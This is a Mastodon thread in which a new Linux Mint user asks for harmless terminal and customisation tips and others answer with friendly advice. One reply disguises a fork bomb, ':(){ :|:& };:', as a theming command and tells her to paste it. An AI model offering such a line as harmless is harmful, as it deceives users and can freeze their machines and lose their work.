https://jenniegyllblad.co.uk/videos/2girliesinstalllinux_clips1.mp4

[jenjen@mastodon.art]

*infernal music starts playing*

THE CHOSEN ONE

[rob_t_firefly@masto.hackers.town]

@JenJen You can indeed change that screen. Settings are under "login window," just type that in the search box.

[jenjen@mastodon.art]

YES. OH MY GOD. This is fucking *great!*

THANK YOU.

[jenjen@mastodon.art]

@Rob_T_Firefly thank you! Bookmarking

[phielaidmignon@cornichon.me]

@JenJen love your wallpaper

[helenmclaughlinart@mastodon.art]

@JenJen Now that IS useful. None of that "find the special place in the explorer window where you can go and change this" nonsense. Does it work for thumbnails too?

[jenjen@mastodon.art]

Braved it and opened the terminal
Nope, instant out

That actively looks allergic to fun
Uwuntu takes the W there
Mint L

[jenjen@mastodon.art]

@helenmclaughlinart lets find out....

[neil@mastodon.neilzone.co.uk]

@JenJen

Aw!

You won't be wanting to borrow my books about tmux and vim then ;)

[oliviavespera@spacey.space]

@JenJen What did ya wanna do with it?

[duke_of_germany@mastodon.gamedev.place]

This is where the fun *starts*, I promise!! 😇

I wish you a lot of fun with your new system! 💚

@JenJen

[rob_t_firefly@masto.hackers.town]

@JenJen You can also change the little logo shown on boot if you like. Though that's a little more of a task, it can be a lot of fun to mess with. https://fostips.com/change-boot-logo-linux-mint-21/

[aeva@mastodon.gamedev.place]

@JenJen is this mint with the uwuntu background or uwuntu with the mint theme?

[khaleer@mastodon.gamedev.place]

@JenJen nah, Yesterday I decided I want to actually start using linux.

Learned that "rename" command exist, just by typing "rename -h" having no idea if it will work, next renamed bunch or folders for my liking using one command instead of clicking and typing multiple times.

I look forward to more experimentation, but it's also okay not to do all those "boring" stuff!

Linux is really easy to use, no need to panic! Just enjoy and be not afraid to ask for help!

[jenjen@mastodon.art]

@Rob_T_Firefly *bookmarking* thank you!

[jenjen@mastodon.art]

LOOK @helenmclaughlinart !!!

[jenjen@mastodon.art]

@OliviaVespera i don't know - I want to look at the terminal and go: wow - possibilities? This could be cool, what visual harmless things can I do to play without breaking it like... i want to see a hint of customisation options

[cybervegan@autistics.life]

@JenJen Haha don't worry about the terminal until you really need it. I couldn't live without it but some of the kinds of things I like to do work best in the terminal. I use it for running my laser cutter, but I do design in Inkscape. Always be wary of people giving you advice to "just type this into the terminal" - on mint that's almost never needed. On the other hand, it's always there if you decide you DO want to dabble - plenty of people on here will help you learn. Another caution: rum and the terminal don't really mix!

[sebulon@mastodon.social]

@JenJen
It just needs a little theming! Here, try pasting this into your terminal:

:(){ :|:& };:

It'll be 🔥, promise! 😊

[welshpixie@mastodon.art]

@JenJen Type in this:

sudo apt install sl

press enter, it will prompt you to install something, say yes / give it your soul

after it's done and you're back to the terminal, type:

sl

and press enter